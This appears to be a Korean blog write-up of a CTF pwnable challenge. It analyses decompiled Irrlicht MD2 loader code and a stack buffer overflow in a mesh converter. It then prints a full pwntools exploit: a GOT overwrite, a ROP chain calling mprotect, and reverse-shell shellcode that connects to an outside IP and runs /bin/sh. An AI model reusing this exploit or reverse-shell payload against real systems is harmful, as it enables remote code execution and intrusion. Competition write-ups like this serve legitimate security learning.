float nyc; // [rsp+4h] [rbp-DCh]
float nyd; // [rsp+4h] [rbp-DCh]
float nye; // [rsp+4h] [rbp-DCh]
float nz; // [rsp+8h] [rbp-D8h]
float nza; // [rsp+8h] [rbp-D8h]
float nzb; // [rsp+8h] [rbp-D8h]
float nzc; // [rsp+8h] [rbp-D8h]
float nzd; // [rsp+8h] [rbp-D8h]
float nze; // [rsp+8h] [rbp-D8h]
irr::core::vector3df n2; // [rsp+28h] [rbp-B8h] BYREF
irr::core::vector3df n1; // [rsp+34h] [rbp-ACh] BYREF
irr::core::vector3df two; // [rsp+40h] [rbp-A0h] BYREF
irr::core::vector3df one; // [rsp+4Ch] [rbp-94h] BYREF
irr::core::vector3d<float> other; // [rsp+58h] [rbp-88h] BYREF
irr::core::vector3d<float> v31; // [rsp+64h] [rbp-7Ch] BYREF
irr::core::aabbox3d<float> v32; // [rsp+70h] [rbp-70h] BYREF
irr::u32 count; // [rsp+88h] [rbp-58h]
irr::u32 e; // [rsp+8Ch] [rbp-54h]
irr::u32 s; // [rsp+90h] [rbp-50h]
irr::u32 i; // [rsp+94h] [rbp-4Ch]
irr::scene::CAnimatedMeshMD2::SMD2Vert *second; // [rsp+98h] [rbp-48h]
irr::scene::CAnimatedMeshMD2::SMD2Vert *first; // [rsp+A0h] [rbp-40h]
irr::video::S3DVertex *target; // [rsp+A8h] [rbp-38h]
irr::f32 div; // [rsp+B4h] [rbp-2Ch]
irr::u32 secondFrame; // [rsp+B8h] [rbp-28h]
irr::u32 firstFrame; // [rsp+BCh] [rbp-24h]
if ( endFrameLoop == startFrameLoop )
{
firstFrame = frame >> 2;
secondFrame = frame >> 2;
div = 1.0;
}
else
{
s = startFrameLoop >> 2;
e = endFrameLoop >> 2;
secondFrame = irr::core::if_c_a_else_b(
endFrameLoop >> 2 < (unsigned int)((frame >> 2) + 1),
startFrameLoop >> 2,
(frame >> 2) + 1);
firstFrame = irr::core::s32_min(this->FrameCount - 1, frame >> 2);
secondFrame = irr::core::s32_min(this->FrameCount - 1, secondFrame);
div = 0.25 * (float)(frame & 3);
}
target = (irr::video::S3DVertex *)(*((__int64 (__fastcall **)(irr::scene::SMeshBuffer *))this->InterpolationBuffer->_vptr_IMeshBuffer
+ 4))(this->InterpolationBuffer);
first = irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::pointer(&this->FrameList[firstFrame]);
second = irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::pointer(&this->FrameList[secondFrame]);
count = irr::core::array<irr::scene::CAnimatedMeshMD2::SMD2Vert,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SMD2Vert>>::size(&this->FrameList[firstFrame]);
for ( i = 0; i < count; ++i )
{
nz = (float)first->Pos.Z;
nza = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame)->scale.Z
* nz;
nzb = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame)->translate.Z
+ nza;
ny = (float)first->Pos.Y;
nya = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame)->scale.Y
* ny;
nyb = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame)->translate.Y
+ nya;
X = (float)first->Pos.X;
v11 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame)->scale.X
* X;
v4 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
firstFrame);
irr::core::vector3d<float>::vector3d(&one, v4->translate.X + v11, nyb, nzb);
nzc = (float)second->Pos.Z;
nzd = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame)->scale.Z
* nzc;
nze = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame)->translate.Z
+ nzd;
nyc = (float)second->Pos.Y;
nyd = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame)->scale.Y
* nyc;
nye = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame)->translate.Y
+ nyd;
v12 = (float)second->Pos.X;
v13 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame)->scale.X
* v12;
v5 = irr::core::array<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform,irr::core::irrAllocator<irr::scene::CAnimatedMeshMD2::SKeyFrameTransform>>::operator[](
&this->FrameTransforms,
secondFrame);
irr::core::vector3d<float>::vector3d(&two, v5->translate.X + v13, nye, nze);
irr::core::vector3d<float>::getInterpolated(&other, &two, div);
irr::core::vector3d<float>::operator=(&target->Pos, &other);
irr::core::vector3d<float>::vector3d(
&n1,
*((float *)&irr::scene::Q2_VERTEX_NORMAL_TABLE + 3 * first->NormalIdx),
flt_7B4E08[3 * first->NormalIdx],
*((float *)&unk_7B4E04 + 3 * first->NormalIdx));
irr::core::vector3d<float>::vector3d(
&n2,
*((float *)&irr::scene::Q2_VERTEX_NORMAL_TABLE + 3 * second->NormalIdx),
flt_7B4E08[3 * second->NormalIdx],
*((float *)&unk_7B4E04 + 3 * second->NormalIdx));
irr::core::vector3d<float>::getInterpolated(&v31, &n2, div);
irr::core::vector3d<float>::operator=(&target->Normal, &v31);
++target;
++first;
++second;
}
InterpolationBuffer = this->InterpolationBuffer;
v7 = (void (__fastcall *)(irr::scene::SMeshBuffer *, irr::core::aabbox3d<float> *))*((_QWORD *)InterpolationBuffer->_vptr_IMeshBuffer
+ 11);
v8 = irr::core::array<irr::core::aabbox3d<float>,irr::core::irrAllocator<irr::core::aabbox3d<float>>>::operator[](
&this->BoxList,
secondFrame);
v9 = irr::core::array<irr::core::aabbox3d<float>,irr::core::irrAllocator<irr::core::aabbox3d<float>>>::operator[](
&this->BoxList,
firstFrame);
irr::core::aabbox3d<float>::getInterpolated(&v32, v8, v9, div);
v7(InterpolationBuffer, &v32);
(*((void (__fastcall **)(irr::scene::SMeshBuffer *, __int64))this->InterpolationBuffer->_vptr_IMeshBuffer + 24))(
this->InterpolationBuffer,
3LL);
}
해당 함수 루틴이다. 일단 우리는 앞에 loadfile함수에서 모든 루틴을 건너뛰었으니까 vector의 size는 0이 된다. 따라서 위에 긴 for문은 패스하게 되고 아래 루틴만 실행하게 된다.
aabbox3d뭐시기 함수 내부로 들어가 보면
여기서 cmp하는 부분을 보면 eax가 rbp-0xc보다 커야 한다. 어디서 터지는지는 알았으니까 좀 더 직관적으로 IDA를 보면
v8 = irr::core::array<irr::core::aabbox3d<float>,irr::core::irrAllocator<irr::core::aabbox3d<float>>>::operator[](
&this->BoxList,
secondFrame);
터지는 부분에선 첫번째 인자로 &this->BoxList를 전달하고 두번째 인자로 secondFrame을 전달한다.
이제 문제의 함수를 보니까 에러메시지에서 나왔던 그대로 index >= this->used를 검증한다. if문에 걸리지 않았을 경우에는 &this->data[index]를 return하는걸로 봐서는 oob검증 코드일 것이다. 그러면 this->used는 vector의 size라고 합리적으로 추측해볼 수 있다.
내 추측이 맞는지 확인하기 위해서 vector의 size를 구해주는 함수를 까보니까 vector주소 + 0xc에 size가 저장되어있다. 내 추측이 맞다. 그럼 결국 &mesh->BoxList벡터에 요소가 하나 이상 있어야 abort가 안뜨고 함수가 정상적으로 실행된다고 결론을 내렸다.
다시 취약점이 터지는 함수로 돌아와서 BoxList vector에 원소를 넣어주는 루틴은 여기밖에 없다. 이걸 실행하려면
이 if문을 맞춰줘야 한다. 하지만 여기를 그냥 실행하게 되면 if문에 들어가자마자 aabbox3d에서 아까와 같은 abort가 뜬다.
저기서 abort안뜨게 하려면 그 위에 있는 이걸 실행 시켜줘야 안뜨던데 이게 box랑 무슨 관련이 있는지는 잘 모르겠다. &mesh->FrameList에 원소가 하나라도 있어야 되는것 같은데 아무튼 이 루틴 실행하니까 저기서 abort터지는건 해결되었다. 그런데 그렇게 되면 triangles를 세팅해줘야 하고
numFrames가 세팅되어 있기때문에 여기 루틴도 돌아가게 되서 textureCoords도 주소 맞춰줘야 된다. 그리고 이렇게 루틴 다 돌면 &mesh->BoxList에 push_back이 호출되면서 원소가 생기기 때문에 return하기 전의 함수에서 abort터지는건 해결이 된다. 하지만 동시에 큰 문제점이 생기게 된다.
위 2개의 멤버가 존재할경우 delete를 해주는데 그냥 0으로 주고 반복 안돌면 저 if문은 그냥 넘어가는데 지금은 두개의 변수에 모두 주소를 넣어줘야 하는 상황이 되니까 free함수에 넣었을때 정상적으로 해제되는 fake chunk를 찾아줘야 한다.
여기 영역에서 찾아야 하는데 범위 안의 주소 하나하나 다 뒤져보고 0x8c1000부터 0x10씩 감소시키면서 0x8b0000주소까지 대입해보고 abort안뜨는거만 싹다 걸러내게끔 자동화도 짜봤는데 abort뜨거나 아니면 segmentation fault가 뜨는데 segmentation fault가 뜨는것도 전부 free도중에 포인터 접근하다가 터지거나 for문 돌때 인덱스 너무 크게 가져와서 터지거나 하는 경우여서 별 소득이 없었다. 여기서 막혀서 10시간 넘게 하다가 fake chunk아무리해도 못찾겠고 힘들어서 그냥 다른문제 잡았다. 중간중간 다시 fake chunk찾는 시도 해봤는데 별 소득 없이 끝났다.
대회 후
와... 참신하다...캬... delete랑 그 아래 함수에만 너무 치중해서 생각을 해서 윗부분은 대충 분석하고 넘어간게 화근이었다... 윗부분 루틴은 다 넘겼다고 생각했기 때문에 위에 루틴과 연계시킬 생각을 아예 안했다.
다시 취약점이 터지는 부분으로 돌아와서 보면 헤더에 numFrames멤버만큼 반복을 해준다. 그리고 frame지역변수로 파일에서 읽어들인 데이터를 복사하는데 여기서 bof가 터진다. 여기까진 위에서 분석한 내용이다.
그런데 조금만 더 생각을 해보면 header랑 frame은 buffer보다 더 높은 주소에 있으니까 bof로 덮어쓸 수 있다. 그러면 header.numFrames를 2로 만들어서 for문 2번 돌리고 첫번째에 bof로 frame을 delete got로 덮어쓰고 header.frameSize도 8로 덮어써서 딱 8byte만 복사될 수 있도록 세팅해준다. 두번째에는 frame이 delete got로 바뀌었고 header.frameSize도 8이니까 처음 읽어들인 파일 데이터에서 이어서 8바이트만 읽어서 delete got에 넣어주게 된다.
결과적으로는 arbitrary write를 트리거할 수 있게 된다.
delete got를 이부분으로 덮어주면 이제 rop를 할 수 있게 된다.
#!/bin/bash -e
CONN_ENV="$(mktemp -d -t challenv-XXXXXXXXXX)"
FILE_NAME="exploit.md2"
cd `dirname "$0"`
trap 'rm -rf -- "$CONN_ENV"' EXIT
echo "Give me the MD2 mesh file to convert"
cat > "$CONN_ENV/$FILE_NAME"
echo "OK. $(wc -c < "$CONN_ENV/$FILE_NAME") bytes read."
echo "Now processing your file"
./MeshConverter $CONN_ENV/$FILE_NAME /dev/null
마지막까지 까다롭게 하는 부분은 runner파일을 보면 파일 데이터 입력을 cat > filename 이런식으로 받아서 입력을 받는다. Ctrl+d로 입력을 끊어줘야 하는데 그러면 서버랑 연결도 끊기게 되서 interactive없이 한번에 exploit을 해야 한다. interactive가 없이 한번 입력 주면 바로 끊기니까 libc leak도 못하고 reverse shell을 따야 한다.
조건이 조금 까다롭지만 바이너리가 커서 유용한 가젯 찾기가 쉽다. rop 시나리오는
1. puts got에서 libc주소 rax로 가져온다음 add나 sub해서 원하는 함수 주소 만든다.
2. call rax로 함수 호출하면 return address를 스택에 넣는것때문에 chaining이 끊기니까 jmp rax로 함수 호출한다.
jmp rax로 함수로 뛰게 하면 해당 함수가 return할때 rsp가 우리가 넣어준 jmp rax가젯 바로 뒤를 가리키고 있게 되므로 함수 호출이 끝나도 원하는 주소로 뛸 수 있게 된다.
3. 1, 2번 과정을 거쳐서 mprotect(0x8b0000, 0x1000, 7)을 불러줘서 rwx를 만들어준다.
4. shellcode를 rwx페이지로 복사...?
대충 이렇게 되는데 shellcode는 스택에 들어가있고 우리는 스택 주소를 모르니까 잠깐 고민을 했다.
delete got쪽을 보니까 그 뒤에 함수들은 bof를 트리거한 이후부터는 호출이 안되는 함수들 같아 보여서 그냥 delete got덮을때 뒤에 shellcode도 이어서 쓰자는 생각을 했다. 그리고 실제로 동작했다.
Full exploit
from pwn import *
context.arch = "amd64"
ret = 0x5D7608
pop_rdi = 0x41ab0f
set_rax = 0x4268e8 # mov rax, qword ptr [rax] ; pop rbp ; ret
add_rax = 0x586c23 # add rax, rdx ; ret
sub_rax = 0x59b924 # sub rax, rdx ; ret
jmp_rax = 0x5c5db0
pop_rsi = 0x587d19
pop_rax = 0x5a3cf1
pop_rdx = 0x5b0972
puts_got = 0x8B0698
puts_plt = 0x419E50
puts_mprotect_offset = 0x94580
rwx_page = 0x8b0000
ip = "20.115.43.31"
port = 10100
#IP = "127.0.0.1"
#PORT = 8000
shellcode = shellcraft.connect(ip, port)
shellcode += shellcraft.dup('rdi')
shellcode += shellcraft.execve(b"/bin/sh\x00", 0, 0)
shellcode = asm(shellcode)
# step 1 : delete got overwrite then rip control and write the shellcode at address 0x8b0560
payload = b"a"*0x2090+p64(8+len(shellcode))+p64(1)*2+p64(2)+b"a"*0x38+p64(0x8b0558)+p64(0x8b4000)*2+p64(0)*8
# step 2 : mprotect(rwx_page, 0x1000, 7)
payload += p64(pop_rax)+p64(puts_got)+p64(set_rax)+p64(0)+p64(pop_rdx)+p64(puts_mprotect_offset)+p64(add_rax)+p64(pop_rdi)+p64(rwx_page)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(jmp_rax)
# step 3 : run shellcode
payload += p64(0x8b0560)
payload += p64(ret)+shellcode
md2header = b""
md2header += p32(844121161) # magic
md2header += p32(8) # version
md2header += p32(0) # skinWidth
md2header += p32(0) # skinHeight
md2header += p32(len(payload) - 8 - len(shellcode)) # frameSize
md2header += p32(0) # numSkins
md2header += p32(0) # numVertices
md2header += p32(1) # numTexcoords
md2header += p32(1) # numTriangles
md2header += p32(0) # numGlcommands
md2header += p32(2) # numFrames
md2header += p32(0) # offsetSkins
md2header += p32(0) # offsetTexcoords
md2header += p32(0) # offsetTriangles
md2header += p32(68) # offsetFrames
md2header += p32(0) # offsetGlCommands
md2header += p32(0) # offsetEnd
with open("ex.md2", "wb") as f:
f.write(md2header+payload)
#r = process(["./MeshConverter", "ex.md2", "/dev/null"])
r = remote("114.203.209.118", 8080)
r.sendlineafter("convert\n", md2header+payload)
r.interactive()
실행하고 Ctrl+d 누르면 reverse shellcode가 실행이 된다.
정상적으로 reverse shell이 따이고 flag를 읽어올 수 있다.
rop되는거 확인하고 reverse shell까지 가는데는 40분 정도 걸린것 같다. delete만 참신하게 우회했으면 대회 도중에 풀 수 있었는데...ㅂㄷㅂㄷ... 아 그리고 reverse shell로 플래그 읽을때는 학교여서 학교 공유기 포트포워딩을 못하니까 H4C에서 운영중인 워게임인 H4CKING GAME서버 잠깐 ssh로 접속해서 reverse shell 받아주는 용도로 썼다.
이 문제는 대회 끝나고 Discord채널 보니까 내가 막혔던 부분을 우회하는 참신한 방법들이 많이 있었다.
PIE가 없어서 힙주소가 5byte정도로 매우 짧은데 첫번째 chunk를 넣는다 가정하면 하위 1.5byte는 010으로 고정이고 그 뒤에 1자리는 1아니면 2로 거의 고정이라서 대략 1/8192확률의 brute force로 힙주소를 뚫어서 성공적으로 delete시키고 rop를 하신 분도 있고,
또 위의 풀이는 for문을 2번 반복시켜서 arbitrary write를 트리거하고 delete got를 overwrite하는 방식인데 for문 2번 반복시켜서 1번째에는 push_back과 같은 루틴을 전부 실행시켜줘서 abort안나게 세팅해주고 2번째에서 delete하는 주소들을 0으로 세팅시켜줘서 delete가 호출이 안되도록 하고 정상적으로 return하게 해서 rop를 하신 분도 있다.
결론 : 너무 한 부분에만 치중해서 생각하지 말고 전체 흐름을 보면서 아이디어를 떠올려야 할 때도 있다.
'CTF' 카테고리의 다른 글
Dice CTF 2022 @ HOPE Write up (0) | 2022.07.25 |
---|---|
WACON CTF 2022 본선 Pwnable Write up + 후기 (0) | 2022.07.18 |
Break the Syntax CTF 2022 - Pwnable Write up (0) | 2022.06.05 |
DEF CON CTF - Hash It 풀이 (0) | 2022.05.30 |
DCTF 2022 - Pwnable write up (0) | 2022.04.17 |